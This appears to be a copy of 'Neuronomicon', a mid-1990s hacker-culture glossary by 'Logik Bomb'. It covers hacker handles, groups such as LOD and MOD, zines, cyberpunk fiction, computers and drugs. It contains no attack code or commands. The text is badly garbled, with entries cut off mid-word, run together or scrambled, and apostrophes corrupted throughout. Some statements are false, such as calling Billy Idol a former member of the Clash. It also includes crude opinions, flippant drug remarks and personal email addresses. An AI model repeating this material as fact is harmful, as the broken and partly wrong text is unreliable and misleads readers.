UtOPiA MaasApocalypse KOdE AbOdE Static Area 51 Blitzkrieg
The Shrine The Hell Castle 7 Gates Of
Paradise Lost, book III, line 18 %%%%%%%%%%%%%%%%%%%%%%%% 01010101010101NEURONOMICON010101010010 ++++++++++Hackerยนs Encyclopedia++++++++ =========by Logik Bomb (LOA-ASH)======= -----------------(1995-1996-First Edition)---------------%%%%%%%%%%%%%%%%%%%%%%%% "[W]atch where you go once you have entered here,." Dante Alighieri, _The Inferno_ Translated by John Ciardi Acknowledgments ---------------------------To the many programmers of hacking software everywhere. Also, I should note that a few of these entries are taken from "A Complete List of Hacker Slang and Other Things," Version 1C, by Casual, Bloodwing and Crusader; this doc started out as an unofficial update. However, Iยนve updated, altered, re-written and otherwise torn apart the original document, so now theyยนre very dissimilar. Now you canยนt accuse me of plagiarism. I think the list is very well written; my only problem with it is that it came out in 1990, which makes it somewhat outdated. I also got some information from _The Cyberpunk Handbook (The Real Cyberpunk Fakebook)_ by R.U. Sirius, St. Jude, and Bart Nagel; "alt.cyberpunk Frequently Asked Questions list" by Erich Schneider; _The Hacker Crackdown_, by Bruce Sterling; the "alt.2600/#hack FAQ Beta .013," by Voyager; _Cyberia: Life in the Trenches of Hyperspace_ by Douglas Rushkoff; _Takedown: The Pursuit and Capture of Kevin Mitnick, Americaยนs Most Dangerous Computer Outlaw By the Man Who Did It_, by Tsutomu Shimomura and John Markoff; _The Cyberthief and the Samurai_ by Jeff Goodell; _Cyberpunk: Outlaws and Hackers on the Computer Frontier_ by Katie Hafner and John Markoff, _Masters of Deception_ by Michelle
Slatella and Joshua Quittner, _The Illuminatus! Trilogy_ by Robert Shea and Robert Anton Wilson, _Naked Lunch_ by William S. Burroughs, as well as the works of many SF authors; and many back issues of such ezines as _Phrack Magazine_, _40Hex_, the _LOD/H Technical Journals_ and _Cheap Truth_ and print magazines such as _Newsweek_, _TIME_, _Internet Underground_, _Wired_ and _2600: The Hacker Quarterly_, as well as various people I've consulted. Alpha testers include Einsteinium, Remorseless and Manual Override and my only beta tester has been Space Rogue. I've also gotten a lot of information on (non-cyber) punks and the surrounding subculture from Ronald DuPlanty II who was in my ninth grade fourth-period drama class, who besides having the most piercings I¹ve ---------------------I¹m not real huge on introductions; they tend to just be a big waste of space before the actual document. Besides, what¹s the difference between an introduction and a prologue? And what about a foreword? Where does that fit in? Wait... I¹m getting sidetracked, aren¹t I? If anyone has any entries they want me to add, or a newer version of "A Complete List of Hacker Slang and Other Things," please send it to me at Ryder@sisna.com so that I can include changes in the 1997 edition. Don¹t change anything if you distribute this to other sites (and please do; I want this distributed all over the place); if you find any typos I may have made, notify me and I will make the change in the next edition. I cannot make any guarantees as to the accuracy of any of these entries, but if you see a way I¹ve¹t want this to turn into _Mondo 2000: A User¹s Guide to Being a Fashionpunk_.) I am not including information on basic Net culture, such as IRC acronyms and emoticons; this sort of thing is already covered by people with much more knowledge than I in other files. Also, I¹m¹t really work, even though John Perry Barlow refers to "Mr. Phreak" and "Mr. Optik.") I can't believe I'm spending my time on this crap. Oh, yeah, and so you know who I am and what my personal biases are, I¹m Logik Bomb, pleased to meet you. I¹m in high school, I own a Power Macintosh 6100/66 (16/500) (as well as a 28.8 modem, a Zip drive and a CD-ROM drive) and I do consider myself a hacker (by definitions 1, 2, 3 and 5 in my entry). I have written for _Phrack Magazine_. I read a lot of cyberpunk fiction. I am a member of the Legion of the Apocalypse, a small Florida-based hacker group. My handle comes from the usually destructive program; however, I use the name more for an affinity for the imagery of the abolition of standard linear logic than interest in virii or similar programs. (By the way, John Perry Barlow said I had a cool handle. So there.) Finally, I¹m one of the very few hacker types in the entire world who knows how to spell. :) ---------------------------------------------------------ABENE, MARK- see PHIBER OPTIK ACID PHREAK (1970-Present)- Handle of Elias Ladopoulos. Current "leader" of MOD. Can currently be reached at ap@gti.net. [Name comes from "phreak," as in phone phreak, and "acid," so that it is a pun on acid freak, as in someone who takes a lot of LSD. He doesn¹t Œ86.¹s Sprawl Series in agoraphobic.) [From Latin, "fear of all."] AGRAJAG THE PROLONGED- Former member of the Hitchhikers and LOD. He was also a programmer for old gaming machines. [Handle is from a character
in _Life, the Universe and Everything_, the third book in the increasingly inaccurately named Hitchhikerยนs "2600," for the subgroup 2600.] AMERICAN TELEPHONE AND TELEGRAPH- see AT&T AMERICA ONLINE [AOL]- Very evil commercial online service that rose from the ashes of a BBS called QuantumLink, and the largest commercial service. Theyยนve had an enormous problem with hackers, and their solution is to try and stop the flow of programs they donยนt like and shut down any chat room involving hacking, while the child molestor rooms stay. A number of programs have been written to rip them off, most notably AOHell. ANALOG- (1) A way of representing information that uses a continuous range of values. (2) Opposite of digital-- while a CD is digital, a tape is analog; while a computer is digital, an abacus is analog. ANARCHY- (1) Total chaos and disorder. (2) A time in a country, usually after a revolution, where there is no government. This condition has never been prolonged for very long. (3) The tenets of the political science of Anarchism, the ultimate goal of which is the removal of centralized rule. (4) [Anarchy file] A file (usually text) that details such actions as how to brew nitroglycerin and other destructive things. [From Greek, "a," meaning nobody, and "-archy," meaning "rule." The "n" is in there because itยนs too hard to pronounce "aarchy."] AOHELL- Program to rip off AOL and wreak havoc with it. It has also been ported to the Mac. It is, however, a little bit difficult to find because the bastards at AOL try to shut down every site that has it.ยนll see why 1984 wonยนt be like 1984"); Jobs was forced out in 1985 and Scully took over. Scully had good advertisements but really messed up by not licensing the MacOS; this paved the way for Microsoft and their pathetic excuses for OSes. (Howยนs that for journalistic objectivity?) Michael Spindler was CEO until early 1995, when Apple had a horrible first quarter and lost $69 million; Dr. Gilbert Amelio, formerly of National Semiconductors, was made the new CEO in early 1996. Apple hit an all-time low in second quarter 1996 when Amelio decided to take a $740 million loss, most of which in "restructuring costs," costs from releasing new product lines and turning around the corporation, as well as a loss in sales, partly because of the general slowdown in the computer market and partly because of Appleยนs continuingยนt- Your self in cyberspace. This is beginning to be used for the primitive icons that can be used to show "you" in irc, with currently lackluster results. [First used in 1992 in _Snow Crash_, by Neal Stephenson, in one of those self-fulfilling SF prophecies.] AXE- To reformat a disk or delete a file. See also KILLยนsยนs.) Currently civil libertarian and contributing writer for _Wired_. BASE- (1) Contraction for the word "database." See also SHEET (2) In most programming languages, (C, C++, Pascal, etc.) a pointer, a set of memory locations that point to the start of an array
(another memory location); the pointer is the "base" from which the array starts. BASIC [Beginner¹s¹s what my modem¹s manual says.) See BPS [From Emile Baudot, "telecommunications pioneer."]¹s¹Sward Cummings. Phreak currently in jail for posession of computer programs that "could be used for fraud." A mailbox is maintained for him at bernies@2600.com. BIG BLUE- Slang for IBM. Comes from their blue logo. BIG BROTHER- Name for a police state government that spies on every aspect of a citizen¹s life and commandeers their very thoughts. The NSA¹s not so secret wish. [From the name of the insidious government in George Orwell¹s _1984_.] BINARY DIGIT- see BIT BIT [Binary Digit]- Contraction of binary digit. Smallest unit of measurement in cyberspace. A 1 or 0; representing on or off, true or false to a computer. See also BYTE, KILOBYTE, MEGABYTE, GIGABYTE BITS PER SECOND- see BPS THE BLACK BARON- Handle of Christopher Pile. Virus author who was sentenced to a jail term for writing the virus SMEG.  was also written (_Blade Runner 2: The Edge of Human_ by K.W. Jeter) recently, and Ridley Scott says he is going to make a follow-up tentatively titled _Metropolis_. [Loosely based on Phillip K. Dickยนs _Do Androidยนs Sixties, Seventies and Eighties. It is a device that plays a sound at a frequency of 2600 hertz, which allows all kinds of cool things. See BOXES BOMBLOAD- A very large amount; a shitload.ยนs changes to stop it, both on purpose and as a serendipitious result of the digitization of the phone system. See also PHREAKยนs PBX. This is often used so that many phreaks can talk in a huge conference; this was a much more common practice in the Eighties,ยนt- To rewrite a program or section of a program to run in a smaller memory area. May also mean changing the code to remove unused sections and try to improve on the running speed. [From an old MIT hacker term.] See also CRUNCH BURKE [, Carter J.]- A total asshole who causes more trouble than heยนs.] See BIT, KILOBYTE, MEGABYTE, GIGABYTE CAFFEINE- Natural "smart drug;" enough of it makes you hyper. Present in chocolate, soft drinks and coffee. Gateway drug. (If you donยนt know what a gateway drug is, you werenยนt listening closely enough in D.A.R.E. propaganda class.) CANDYMAN- Archiver of forbidden information; administrator of CandyLand (was, rather; it was recently shut down). Computer science student. His stuff is often cited by Congress and the like as examples of why we should make the Net a police state. CAPยนNยนt really his name heยนs only referred to by this name once by the Turing Police, and itยนs sort of assumed that he dropped the names when he became a hacker. Or at least thatยนs endorsed by the Clinton-Gore administration that is currently in its third incarnation.? Riii Eighties. People who used their computers were often berated by people with the superior (but still awful by todayยนs standards) Apple IIe. However, according to _The Cyberpunk Handbook (The Real Cyberpunk Fakebook)_, Phiber Optik used a Commodore. Thatยนs sort of like turning stone to bread or feeding ten thousand people with one fish. [From the Naval wartime rank, I assume.] COMMUNICATIONS DECENCY ACT [CDA]- Law passed as part of the Telecommunications Bill of 1996 making indecent speech and information illegal in cyberspace in the United States, which AOL, Microsoft and CompuServe (never thought Iยนd be on their side), as well as the EFF and ACLU, are attempting to overturn. It sparked a day of protest on the Internet (Black Thursday), when many major sites draped their pages in black. U.S.ยนs. all because they think it will save them. While this occasionally works, to many law enforcement officers, "cooperating fully" generally means you bend over. COME-UNITY- see ECSTASY COPLAND- Codename of Appleยนs MacOS 8.0. It wonยนt be out until mid-1997, but Aaron (currently in version 1.5.1), a shareware program, emulates the default setting (or "main theme") for the way it looks. [Named after Aaron Copland, the composer of _Fanfare for the Common Man_, among other things.]ยนsยนsยนs scary. Gibson knows something about computers that I donยนt.]ยน) Using a program such as PKZip or StuffIt to compress another program into a smaller disk space. (2) To re-write sections of an application to run in a smaller memory space. See also BUM CRYP- Used by Rudy Rucker to refer to illegal hackers who do it for money or power in his science fiction. (Not derogatory; Rucker is one of the real scientist hackers who thankfully doesn¹t look down on us obnoxious punks.) [I¹m not sure where this came from, but I¹d guess it comes from "Crips," as in the violent street gang, in an amalgram with "cryp[t]," as in cryptography.] _THE CUCKOO¹S¹t read it, so I can¹t comment. THE CULT OF THE DEAD COW [cDc]- Anarchist occult goth hacker group that writes a lot of weird text files with a lot of profanity and ASCII art. Have their own USENET newsgroup dedicated to them alt.fan.cult-deadcow,¹t¹s¹s fairly true. CYBERNETICS- The study of the feedback loop that informs any control system of the results of its actions; communication theory. Coined by Norbert Weiner of MIT in the 1940¹s when he was working on antiaircraftยนtยนt really been a "classic" cyberpunk novel since 1987, with _Mona Lisa Overdrive_; the most recent notable cyberpunk work was Neal Stephensonยนs really weird, theological technological comedy _Snow Crash_ in 1992. ยนd computer parts. Common mostly in science fiction movies; popularized in _The Terminator_. The first reference Iยนve seen is in _Nova_ (1968) by
Samuel R. Delaney, though Iยนm pretty sure there are earlier ones. [From "cybernetic organism."] ยนs a fucking CD. _Literally_." CYPHERPUNK- Someone who thinks that encryption should be used by all. See PGP - To type very rapidly without errors. See also SING DefCon II. DATACOPS- Any agency in charge of keeping information expensive. - Also this, he is not listed in the official lists distributed in _Phrack_ and _LOD/H TJ_, and a phile in an early issue of _Phrack_ quotes a file he supposedly wrote which insults LOD heh, DL probably thought no one had
so little of a life theyยนd actually use FindText to scan for references to him in _Phrack_ and read the files. However, that was in a rag file, and I havenยนt read the file it refers to, so Iยนm was further villified. DETH VEGETABLE [sometimes shortened as Deth Veggie]- Handle of Eric Skoog. Member of the Culdยนt recall him writing about anything that didnยนt]included hacker/terrorists Congress held a hearing on did almost ten years prior
1990 Bruce Willlis action movie that taking over an airport. Notable because it and its possible realism, just as they [or DOCU]- Contraction for documentation or document. A file that contains information on how to use a program. Usually a text file, but may be in a specific word processor format such as WordPerfect. Also the DOS suffix for a word processing file, usually Microsoft Word. DOC HOLLIDAY- Handle of Scott Chasin. Former member of LOD and good friend of Erik Bloodaxe. [From the nickname of the dentist/gunfighter.] DOSes exist or existed; besides the OSes that have long since gone away like Apple DOS and Commodoreยนs DOS, there are the unofficial versions of MSDOS, such as DOS 7.0 and DOS Shell. DOWNLOAD- To transmit via modem a program or file from a BBS or network to a computer. See also UPLOAD, TRANSFER, XFER DR. WHO- see DOCTOR WHO DRAKE, FRANK- see FRANK DRAKE DRAPER, JOHN- Birth name of Capยนn Crunch. Also known as the Pirate, also known as the Crunchmeister. One of the very early phreakers; got his handle because he once used a whistle that came with Capยนnยนs conference, even though it turned out no illegal activity occurred. He has remained an unrepentant bastard. DRUNKFUX- Major Con organizer and hacker. Donยนt know much about him other than that. DUAL CAPSTAN- see CONTROL C
DUB- To makeยนs very popular with ravers, like acid without the hallucinations. It was made illegal in 1987. However, "Herbal Ecstasy," an organic version, is still legal. [Technical name: MDMA- donยนt ask me what it stands for.] See also EPHEDRINE EDDRESS- Email address. Eddresses are usually in the format username@domain.type.country. 8lgm- English hacker group that currently Busted in 1994. It stands for alternately and Eight Little Green Men (the latter is used). The members were two hackers named
runs a security mailing list. Eight Legged Groove Machine unproven, but Iยนve heard it Pad and Gandalf.
EFF [Electronic Frontier Foundation]- see ELECTRONIC FRONTIER FOUNDATION [EFF] EIGHT LEGGED GROOVE MACHINE [8lgm]- see 8lgm. THE ELECTRONIC UNDERGROUND- see THE UNDERGROUND ELITE [or elyte or 3L33T or eleet or a million other spellings]Adjective (over)used to describe the best hackers, because something has to seperate the truly good ones from the mediocre ones.ยนs real name be "Emmanuel Goldstein." [Handle came from the name of the hated, possibly fictitious rebel in Orwellยนs _1984_.]
ENCRYPTION- The practice of encoding data into an unreadable form, which can only be converted with the same code. Recently, Netscape Communications built fairly strong encryption into their browser, though security errors appeared threeยนm sure Knight Lightning enjoyed himself flipping through his illicitly gained thousands of telco money...) The case was dropped when it was proven that the same info could be bought for about $13. EPHEDRINE- Psychoactive drug often used by ravers. Among other things, it is one of the ingredients in herbal Ecstasy and crank and (in obviously small dosages) non-prescription medicines like Nyquil. See also ECSTASYยนs also got a bad reputation as a nark. [Handle came from a Viking-type dude with an extremely cool name, though Iยนve heard varying reports as to whether he really existed, or if he is a fictitious character in a book.] EXON, [Senator] JAMES- Democrat Senator who is freaking obsessed with techno-indecency. Sponsored the CDA., as far as I can tell),- Largest BBS in the world. Huge board with government info. FERNANDEZ, JULIO- see OUTLAW FEYD RAUTHA- see SHADOWHAWK 1 FIERY, DENNIS- see THE KNIGHTMARE _FIREWALLS AND INTERNET SECURITY: REPELLING THE WILY HACKER_- Security book outlining Net security; haven¹t. [The name comes from; well I don¹t really know, because I¹m not a virus-type programmer person. The "hex" part comes from hexadecimal (as in hex dump), which is base sixteen, but I don¹t know why the number "40" is there in particular.] 414 GANG- Hacker group formed on the 414 Private BBS that gained notoriety in 1982 for intrusions on Los Alamos military bases and Sloan-Kettering Memorial Institute. [I assume the name comes from the area code of the BBS, a common practice.] FRACTAL- Supposedly a symbol for cyberpunk (though I don¹t buy it does CP have to have a symbol?). A part of Chaos Theory, discovered¹t¹s computer system.] GAME OVER- The end. Total ruin and destruction. [From a line by Private W. Hudson in the movie Aliens, which itself came from video games.] GARFINKEL, SIMSON- Contributing writer to _Wired_ and editor of _Internet Underground_; author of articles on privacy and technology issues. GARY WILSON- see EMMANUEL GOLDSTEIN
GATES, WILLIAM HENRY III "BILL" (1955-Present)- Chief Executive Officer of Microsoft. The richest man in America, at almost 17 billion dollars. Author of The Road Ahead. Quite possibly the Anti-Christ. And, if you havenยนt heard yet, the ASCII values of the letters in his name add up to 666. GATHERING- see ECSTASY_; and _Virtual Light._ His most recent work was the screenplay for the disappointing _Johnny Mnemonic_, based on his short story. He also co-wrote _The Difference Engine_ with Bruce Sterling. Ironically, he didnยนt own a computer until _Mona Lisa Overdrive_, heยนs not at all technical, and heยนs. [Okay, take a deep breath the name of the subculture came from the name of a punk offshoot music movement pioneered by Siouxsie and the Banshees, which came from the Gothic books and movies (such as _Dracula_), which came from the name of the scary dark. Normally used in conjunction with "cracking" computer games so that the player will get unlimited life. Hacking a program is notยนs) Someone who is actually good at doing the things mentioned in 5). (7) A master programmer capable of things that seem "magical." [All of these are from the Massachusetts Institute of Technologyยนsยนt stand the many technical errors, while others liked it, even though it was
incredibly unrealistic. (Let¹s¹s¹s made about hacking, which isn¹t very hard. Many members of MOD and ex-members of LOD were consulted for the original script, but most became upset with how the film actually turned out. If you want my opinion, which you probably don¹t, I thought it was okay despite the technical inaccuracy, because it was a fairly¹t.us. HAGBARD CELINE [19 -1989]- Handle of Karl Koch, a German hacker and member of the Chaos Computer Club. Was very unstable, in part due to his heavy use of drugs. Committed suicide (probably; murder has been suggested) by dousing himself in gasoline and setting himself on fire on the twenty-third of the month, fulfilling _The Illuminatus! Trilogy_¹s quote that "All the great anarchists died on the 23rd day of some month or other," and the recurrence of the number 23. [Handle comes one of the characters in _The Illuminatus! Trilogy_ by Robert Shea and Robert Anton Wilson, a Discordian anarchist pirate; unlike most hackers who take handles from SF, Koch believed he actually was the protagonist of the novel.] HANDLE- A pseudonym. [From CB radio.]. Kacked for the KGB. Currently a professional programmer. HOFFMAN, ABBIE- Alias Barry Freed. Possibly the first phreaker, a yippy who died under suspicious circumstances in the 1989. Supposedly had the largest FBI file ever. Author ยนve allied with Apple (previously their bitter foe) and Motorola with PPCP. IBM-PC- International Business Machines Personal Computer or compatible. Refers to one of the five gazillion machines that run Microsoft DOS (currently in version 6.22) or the variants; Microsoft Windows (version 3.1) or Microsoft Windows for Workgroups (3.11); Microsoft Windows 95 (1.0); LINUX (1.1) or IBMยนs OS/2 (2.1). 90% of the marketplace is taken up by these machines. These systems include many basic types of machines, usually run on Intelยนs chips. Currently, the best IBM-PC on the market is the Pentium 200, though networked Pentium Pros would yield even faster speeds. By the way, the term IBM-PC is becoming more and more of a misnomer; almost all are not actually made by IBM, especially since IBM is trying to challenge Microsoft and Intel with PPCP now. ICE [Intrusion Countermeasure Electronics]- Used in _Neuromancer_ and other novels (I donยนt know where first, but I know it was coined by Tom Maddox, who refuses to answer my emails as to where and how he first
used it. Come on, Tom! :) But I digress) to be the graphical metaphor of computer security. IDOL, BILLY [that¹s not his real name, but I don¹t give a fuck what it really is]- Punk singer who was a success in the 1970s and '80s; former member of the Clash and lead singer for a band called Generation X. Supposedly he used to be cool, but everything I¹ve ever seen him do after the Clash¹s message system and left a politically motivated message. (This incarnation probably included MOD or LOD, more likely LOD, members, because Quittner had just written a book on the MOD/LOD war that I¹ve been unable to procure) In 1995, one or more people claiming to be doing "independant contracting" for the ILF hacked MGM/UA¹s _Hackers_ home page. It is also used as sort of an international brotherhood; when confidential or proprietary information is released to the Net, the ILF sometimes gets the credit. INDUSTRIAL- Techo's evil twin; style of music that has begun to go mainstream; considered cyberpunk or marginally so. Grew out of the late 1970s British punk scene with Throbbing Gristle; was later watered down and combined with other styles of music to be more palatable. Bands which take some or most of their inspiration from industrial (and are often considered industrial) include Skinny Puppy, Ministry and Nine Inch Nails.ยน _Naked Lunch_. Also the title of a British SF magazine. INTRUSION COUNTERMEASURE ELECTRONICS [ICE]- see ICE [Intrusion Countermeasure Electronics] ISDN [Integrated Services Digital Network]- Technology to completely digitalize the phone service that was abandoned after much work (it began in the early 1980s) in the early Nineties. They then focussed the fervor previously used in war for business. Currently an extremely large producer of consumer goods; the nation is stereotypically very conformity-oriented. (This doesnยนt. Fairly difficult to find here in Utah. By the way, did you know you can type on average five words a minute faster than normal if you drink two bottles of MegaJolt in succession? See CAFFEINE
JUDGE DREDD- British comic book character currently published by DC that has some cyberpunk concepts; itยนs "rad," short for "radical," skateboarder-type slang term in the Eighties- To delete a file (or, less used, to stop a programยนs function while it is operating). See also AXE KILOBYTE [abbreviated as Kb or K]- Small unit of measurement, usually used for measuring small programs and cache memory. Contrary to what the word would imply, a kilobyte is 1024 bytes. See also BIT, BYTE, MEGABYTE, GIGABYTE comics character "Lightning Lad" and the character "Michael Knight" from the lame television show _Knight Rider_.) THE KNIGHTMARE- Handle of Dennis Fiery. Author of a book on computer security entitled _Secrets of a Super Hacker_ and sometimes writer for _2600_. I havenยนt read his book. Not to be confused with - Stupid, loser behavior. Means the person doesn't support the group. Usually associated with BBS's and posting thereupon. [From a user named the L.A. Raider and his activities on several Ohio boards.] on the encryption in Clipper. A scrambled group of numbers including the chipยนs serial number, a session key number and a checksum number. LEARY, TIMOTHY (1920-1996)- Ex-Harvard professor and West Pointgraduate who turned hippy in the late Sixties and encouraged students to "turn on, tune in, drop out." Popularized LSD, and was eventually imprisoned for almost ten years for possession. He became a cyberpunk about fifteen years after his dropping out, and his new sound bite became "the PC is the LSD of the 1980ยนs." ยนD Nineties, a "new" Legion of Doom was created, because since the group was defunct, logically anybody could use the name; it was, however, pretty much looked down upon and was eventually forcefully disbanded by members of the original LOD. (Doesnยนt that sound creepy? Like Mark Tabas and Erik Bloodaxe had them killed or something.) [The groupยนs name came from the Superfriends cartoon series (using characters from Superman/Justice League comic books), where the villains were the Legion of Doom.] LEGION OF DOOM/HACKERS- see THE LEGION OF DOOM [LOD]ยนs arch-enemy; the hacker Lex got it from the 1979 movie version with Gene Hackman.] LOCKED (1) Refers to a computer system shutting down and stopping much speculation that the turn of the millenium will set off tons of logic bombs. LOOMPANICS- Publishing company (in)famous for publishing such "questionable" information as bomb plans and guerrilla techniques; also published _Secrets of a Super Hacker_, though according to everyone Iยนve heard from the subject, itยนs pretty worthless.
THE LONE GUNMEN- An group of three fictious hackers (Byers, Frohike and Langly) on _The X-Files_.. (He claims he was officially inducted in 1987, but he is not listed in any of the official lists.) Good friend of Dead Lord and co-administrator of MindVox. Can be reached at digital@phantom.com..5.3; version 8.0 (code-named Copland) will be released in early to mid-1997. (however, some Macs can run Windows, DOS, Mach V and/or LINUX) Apple licensed the MacOS in 1993 so that Mac clones can be made; they have not fully caught on yet (though IBM recently signed up for a clone license), though Power Computing, UMAX and DayStar are doing fairly good business on them. Macs run on two families of microprocessors: the Motorola 680x0 chips, and the joint Apple-IBMMotorola PowerPC chips. The most powerful Macintosh ever made is Power Computingยนs PowerTower Pro 225. due to a bug in UNIX System VII.ยนve. See also BIT, BYTE, KILOBYTE, GIGABYTE, and NT),ยนsยนt. As the media loves to report,ยนs dude.. [Besides the acronym, the term also supposedly refers to being like a second iteration of LOD; "M" is after "L," get it? However, I got that out of an excerpt on the Net from Quittnerยนs book, and I donยนt know how much truth is in it.] Definitely not to be confused with the Amiga sound format .mod.ยนs a really psychotic dude named Xandor as well. I, like many, think itยนs¹re still geeks, so get over it. :( [I just looked up the etymology of the word "nerd" in the dictionary, and my main conclusion was that etymologists must have a lot of spare time on their hands, because apparently there¹s this huge controversy over where this word came from, and the earliest reference is in a Dr. Seuss book, and then it became a slang term in the 1950s, and some people say it¹s a coincidence and others say there¹s some complicated relation, and all I can say is that it¹s just not that important, but these etymologists have enough time to learn UNIX security, and if they¹d¹s¹t call it a quarter pounder with cheese?...") THE NEUROMANCER- see THE MENTOR NII- National Information Infrastructure. Hard to say. (I mean, literally, "en-aye-aye"? Really not phonetically friendly.) 1984- A mystical year for computers. LOD was formed; created; _Neuromancer_ was published; _2600_ was first published; _The Whole Earth Software Review_ was created, which led to the WELL; the Chaos Computer Club was formed; and the Macintosh computer was released. Also, George Orwell¹s 1949 SF novel was titled this, and some would say it¹s comeยนknow, I could have joined the NSA. But they found out my parents were married." Martin Bishop, _Sneakers_.] N6NHG- Ham radio handle of Kevin Mitnick; last three letters supposedly stand for Nationยนsยนsdistance calls for free. They often route through many PBXs to avoid tracing. PENET [anon.penet.fi]- Infamous Finnish anonymous remailer. Currently unbreakable (as far as anyone knows) except when the Scientologists got a warrant for the data in Penetยนs- (1) IBM-PC computer family run on a Pentium chip, made by Intel. The Pentium Pro (codenamed P6) just came out, first running at 150 Mhz. (2) Chip that created a scandal in 1994 when it was discovered that the microprocessor had a calculation error. Itยนs been fixed, however.ยนs Prairie Home Companion, which mentioned a product that was "pretty good."] PHALCON/SKISM (P/S)- Hacking, phreaking and virus group; Phalcon does the H/P and Skism does the virii. The group runs the e-zine _40Hex_. Members have included Hellraiser, Dark Angel, DecimatoR, Garbage Heap and Priest.  Œz Œzine that wouldn¹t Holiday; Death again; Dispater; Death and Dispater; just Dispater again; Erik Bloodaxe; and currently Daemon9, ReDragon and Voyager. (I realize the Phrack web page lists different editors and doesn¹t mention some, but a careful review of back issues contradicts this. Guess Bloodaxe doesn¹t have as much spare time as I do. :) )¹s okay?" This just proves the government is as corrupt as they always said hackers were. (Well, sort of.) The current staff is Daemon9, ReDragon and Voyager (editors¹t get it.) Currently on court order not to use computers. POWER PC- Chip that powers Apple¹s¹s PRePs and Apple¹s Power Macs, supposed to begin shipping November 1996. It will run IBM¹s OS/2 2.1, Windows NT 3.51, AIX 4.1 (IBM¹s UNIX variant), MacOS 7.5.3 (though Copland will be ported to it as soon as possible), Sun Solaris 5.0 and Novell NetWare 4.1. PRAETORIANS- Mischievious members of the Internet Liberation Front (as well as possibly LOD) who hacked the _Hackers_ home page. [From the villains in _The Net_.] PReP [PowerPC Reference Platform]- IBM¹s- Author of _Masters of Deception: The Gang That Ruled Cyberspace_ and contributing writer for _Wired_. His phone system was hacked by ILF/LOD members in retaliation for his book. RAM [Random Access Memory]- The the amount it can load at once. then more of the program can be standard amount of RAM is eight
amount of active memory a computer has; Increasing RAM increases speed because loaded into active. The currentMWIND- To stop a program at a certain point and go backwards through the execution until the item of the search (usually a bug) is found. RICHO SLOPPY- see CONTROL C RONIN- A masterless samurai, popularized by Frank Millerยนs mythology also has echoes of SF. The first uses of science fiction as we know it was in the 1930s, when Hugo Gernsback created the _Amazing Stories_ pulp. Some SF is considered great literature (_1984_, _Brave New World_, twothirds SPEADSHEET.
See also BASE
SHIT-KICKINยน¹s¹s shoulder as they dial their phone code and then writing it down. SIDNEY SCHREIBER- see EMMANUEL GOLDSTEIN SING- To program without errors for a long period of time. See also DANCE SIRIUS, R.U.- see R.U. SIRIUS SKINNY PUPPY- see DOCTOR WHO SKOOG, ERIC- see DETH VEGETABLE SLAP- To load a program off of disk device and into memory very quickly, usually much faster than deemed normal. SMART DRUGS- Designer drugs used by enthusiasts because they think they increase the information processing power of the brain or otherwise make the mind more powerful. ("Don¹t¹s young programmers, and later was used to refer to security teams that broke into computers and found the security flaws. However, I don¹t think this was widely used.] SNYDER, THOMAS [Tom]- Talk show host who hosted Katie Hafner, and Mitnick called in. Judging from the transcript in _The Cyberthief and the Samurai_, he didn¹t know what he was talking about and jumped on the "hackers are evil" bandwagon. SOCIAL ENGINEERING- Conning someone. Usually involves using what you know about someone and pushing their buttons in order to manipulate them into doing what you want them to do. SOLOMON, ALAN [Doctor]- Anti-virus "crusader;" author of Dr. Solomon¹s the short story "The Big Samoleon Caper," which appeared in _Newsweek_. STERLING, BRUCE [AKA Vincent Omniaveritas] (1954-Present)- Journalist, literary critic, contributing writer for _Wired_ and science fiction author. Writer of such science fiction as _The Artificial Kid_, _Involution Ocean_, _Schismatrix_, _Crystal Express_, _Islands in the Net_ and _Globalhead_. Also wrote the prefaces to _Burning Chrome_ and _Mirrorshades- The Cyberpunk Anthology_, the latter of which he also edited. He also wrote the non-fiction _The Hacker Crackdown_, about the events of the Hacker Crackdown of 1990. His most recent book was _Heavy Weather_. In his early days, he edited a weird samizdat zine that viciously railed against the SF mainstream (dragons, space operas etc.) entitled _Cheap Truth_ under the name "Vincent Omniaveritas." _Cheap Truth_ was to SF what _Phrack Magazine_ is to personal computers.ยนt help. Their equipment was seized and Illuminati was shut down, though SJG was never charged with any crime; the Secret Serviceยนs¹s full of crap, so maybe I shouldn¹t believe its info. :) ) S.266- 1991 Senate anti-crime bill that included a provision making encryption illegal in the US if the FBI (or NSA) couldn¹t¹S MOST WANTED COMPUTER OUTLAW BY THE MAN WHO DID IT_- Nonfiction novel by Tsutomu Shimomura and John Markoff. Originally titled _Catching Kevin_, which I think was a much better title, aesthetically (I mean, c¹mon, it¹s. See also BEDBUG, VIRUS, BUG TARAN KING- Phreak, former editor of Phrack, former member of the 2600 Club and New 2600 Club, and former sysop of Metal Shop BBS. Knight Lightning¹s best friend. [Name comes from the main character in the Chronicles of Prydain by Loyd Alexander, a fantasy series (remember _The Black Cauldron_?)] TCP/IP [Transmission Control Protocol/Internet Protocol]- The language the Internet speaks. Personal computers need software OS extensions to use this Windows uses Winsock, and Macs use MacTCP or the TCP/IP control panel. I don¹t know about other OSes. TEAM HACKERS Œ86- see THE ADMINISTRATION
TELCO [TELephone COmpany]- A corporation which profits on selling telephone service or physical telephones.ยนtยนsยนs- Evil megacorporation; favorite target of hackers, especially MOD. It has received this in large part due to the fact that their job includes catologing our credit history and selling it to other corporations. Supposedly sets up Tiger Teams for the government.ยนtยนs ideas to make the "Turing machine," a general purpose calculator. 2600 CLUB/NEW 2600 CLUB- Group that included much of the staff of Phrack. , been around since 1984. It focuses on technical data, and is a mainstay of the computer underground. It is currently in Volume 13, costs $21 for a one-year subscription, and can be reached for general mail at 2600@2600.com. Current staff is: Emmanuel Goldstein (editor-inchief),. UNIX- Operating system made by AT&T in 1969 of which several variants exist, such as Berkeley UNIX. Made by programmers, for programmers. It was purchased by Novell fairly recently. It also supposedly has very little security. The perfect hacker OS, or at least thatยนs what I hear; I havenยนt personal computer to a network, BBS, or ftp site. See also DOWNLOAD, XFERยนre run by the treasury, so they protect dead presidents as well as live ones.) VAPORWARE- Derogatory term for software (or hardware) that is promised but doesnยนtยนs meat experiences; primitive in the present, the best example being expensive
